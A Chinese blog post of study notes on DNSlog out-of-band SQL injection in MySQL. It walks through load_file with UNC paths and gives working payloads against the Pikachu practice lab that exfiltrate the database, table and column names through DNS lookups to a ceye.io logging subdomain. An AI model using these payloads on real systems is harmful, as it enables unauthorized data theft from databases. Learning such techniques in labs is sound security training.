SQL注入之DNSlog注入(DNS带外查询)

DNSlog注入

声明:DNSlog注入也是针对不回显的情况

1.原理:

攻击主机通过注入一个A网站网址,让目标主机触发网址的访问,将敏感信息携带到请求数据中
A网站记录下本次请求,在日志中就能看到目标主机的相关敏感数据了

由上图再次详细介绍其注入过程:

①注入操作
攻击者从攻击主机采用DNSLog注入手段,向目标主机注入一个A网站网址。这个注入过程通常是无回显的,也就是说,攻击者不会直接看到注入操作反映的结果。
 ②触发访问
目标主机会因为某些原因(例如恶意脚本、漏洞利用等)触发对注入网址的访问。在访问过程中,目标主机的敏感信息会被携带到请求数据中。
③数据记录与获取
当目标主机访问注入的A网站网址时,A网站会记录下这次请求。由于A网站开启了日志记录功能,攻击者就可以在A网站的日志中查看到目标主机的敏感数据。

2.条件:


①需要mysq用户具备读文件的权限,因为要借助到mysq的load_file读取文件的函数,权限不够的话,不能调用这个函数。其实只要mysq中配置项中开启了这个secure_file_priv配置,就可以通过sq语句来执行文件读写操作。 
目标mysq数据库服务器能够访问外网
其实load_file(不仅能够加载本地文件,同时也能对诸如Itwww.jaden.com这样的URL发起请求。这样的url我们称之为UNC路径,简单了解即可。

就借助load_file函数能够访问某个网址的特性,来进行DNSlog注入

注入语句如下:
and select load_file('\\\\xxx.xxxx.xxx\\xx');#    注: xxx.xxxx.xxx\\xx是某个网址(前面是4个斜杠,后面是2个斜杠或者前面可以是2个斜杠,后面是1个斜杠均可!!!

3.涉及函数及可用网站:

 load_file 函数是MySQL数据库中的一个函数,用于读取文件内容

其基本语法是 load_file(file_path) ,其中 file_path 是要读取文件的路径

DNSlog注入可用网站:
http://ceye.io/ 
http://www.dnslog.cn/

4.实操演示:

在这里,我以所听课的老师的演示为例进行简要说明:

http://ceye.io/ 网站为例

先是在数据库中查询,如下图:

.9fqiop.ceye.io”是用DNSlog注入手段所运用该网站网址

该查询语句是要读取jaden这个文件,NULL表示空,无回显

然后我们进入该网站的日志记录(DNS Query)中,可以看到其相关信息!

下面例子也是如此,其进行数据库查询,拼接读取

然后我们依然可以看到相关信息,在这里是获取了数据库名pikachu 这个信息

然后我们在pikachu靶场上练习

Ⅰ.获取当前库名

获取当前库名(这是在数据库中进行DNSlog注入)
 
下面两个都可以:
select * from member where id=1 and (select load_file(concat('//',(select database()),'.9fqiop.ceye.io/abc')))
select * from member where id=1 and (select load_file(concat('//',(select database()),'.9fqiop.ceye.io/abc')))

在pikachu靶场中以数字型注入id=1为例:

然后抓包------放到Repeater中------修改信息为 id=1 and (select load_file(concat('//',(select database()),'.9fqiop.ceye.io/abc')))------重新发送------前端返回相关结果后,去网站日志记录中查看,即可看到此次查询涉及的敏感信息

如下:

查看日志记录,获取了数据库名为pikachu

Ⅱ.获取表名

id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database()) limit 0,1),'.9fqiop.ceye.io\abc'))

这里使用 information_schema 数据库来获取当前数据库中的表名。通过修改 limit 子句中的参数(eg:将0修改为1,获取第二个表名),可以逐个获取表名。

eg:

id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database()) limit 1,1),'.9fqiop.ceye.io\abc'))

注入过程及查看结果如下:

经查询,"httpinfo"为第一个表名

Ⅲ.获取字段名

id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='member' limit 0,1),'.9fqiop.ceye.io\abc')))

同样也是修改limit后面的数字,将member表的字段名一个一个的取出来,也可以将table_name='member'中的member修改为其他表名,获取其他表名的字段名!

过程与上述获取库名和表名一致,在这里不在演示,大家也可尝试一下!

以上为个人在学习时的总结,如有错误,欢迎大家前来评论指正哦!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值